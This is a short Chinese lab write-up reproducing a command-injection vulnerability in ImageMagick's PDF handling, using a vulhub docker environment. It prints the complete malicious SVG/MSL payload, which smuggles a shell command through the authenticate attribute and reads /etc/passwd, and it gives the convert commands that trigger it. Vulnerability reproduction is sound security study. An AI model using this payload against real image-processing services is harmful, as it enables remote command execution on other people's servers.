声明
好好学习,天天向上
漏洞描述
ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。研究者@insertScript 发现在Imagemagick 7.0.10-35到7.0.10-40、6.9.11-35 up到6.9.11-40处理PDF的过程中存在一处命令注入漏洞,通过构造好的SVG格式图片文件,即可在Imagemagick中注入任意命令。
影响范围
7.0.10-35到7.0.10-40
6.9.11-35 up到6.9.11-40
复现过程
这里使用7.0.10-36版本
使用vulhub
/app/vulhub-master/imagemagick/pdf-password-rce
使用docker启动
docker-compose build
docker-compose up -d
环境启动后,构造一个svg,可以看到vulhub为我们提供的poc.svg里面的代码,我们构造一个这种恶意图片,让使用者在使用的时候,执行第一行的echo $(id)命令,如果执行成功应该会吧id写在0wned文件中
<image authenticate='ff" `echo $(id)> ./0wned`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:poc.svg" height="100" width="100"/>
</svg>
</image>
进入docker,使用这个工具进行图片操作
docker-compose run im bash
cd /tmp/
ls
identify poc.svg
convert poc.svg poc.png
ls
执行完后,查看文件,内容已经替换
关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down